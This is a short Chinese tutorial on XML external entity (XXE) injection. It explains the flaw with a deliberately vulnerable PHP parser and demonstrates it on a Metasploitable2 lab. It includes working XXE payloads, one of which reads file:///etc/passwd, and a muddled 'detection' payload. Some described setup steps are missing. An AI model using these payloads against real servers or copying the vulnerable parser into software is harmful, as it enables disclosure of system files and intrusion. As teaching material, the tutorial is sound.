一.XXE漏洞原理解释
XXE 漏洞全称 XML External Entity Injection 即 XML 外部实体注入漏洞,XXE 漏洞发生在应
用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、
命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。Entity [ˈentəti] 实体
有上篇文件我们构造一个xml请求:
<!DOCTYPE note [
<!ELEMENT heading (#PCDATA)>
<!ENTITY free SYSTEM
"http://xxx.com">
]>
<heading>&free;</heading>
这是一个外部实体请求,free是实体。
然后当我们把这个请求发送给服务器时,服务器会怎么解析从而构成了XXE漏洞的呢?
下面是服务器的解析代码:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
代码解释(解析原理)
file_get_contents() 函数把整个文件读入一个字符串中。
php://input #是个可以访问请求的原始数据的只读流。
结合 file_get_contents(“php://input”)可以读取 POST 提交的数据。存入$xml
php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的 SimpleXMLElement
Object,就是将free转换成我们指定路径下的文件内容。
再使用 simplexml_load_string 将 note 输入 XML 数值打印出来
总结:也就是将实体解析的时候出现了漏洞。
二.漏洞原理演示:
环境:metasploitable2-linux
第一步:我们先进入/var/www,然后我们创建一个xxe.php模拟服务器检测解析过程。
输入代码:
第二步:创建一个test.php测试页面。

三.最后一布:漏洞演示

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM "file:///etc/passwd">
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder &free;</heading>
<body>Don't forget the meeting!</body>
</note>

四.漏洞检测方式。
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM "file:///xxx.com">
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder &free;</heading>
<body>Don't forget the meeting!</body>
</note>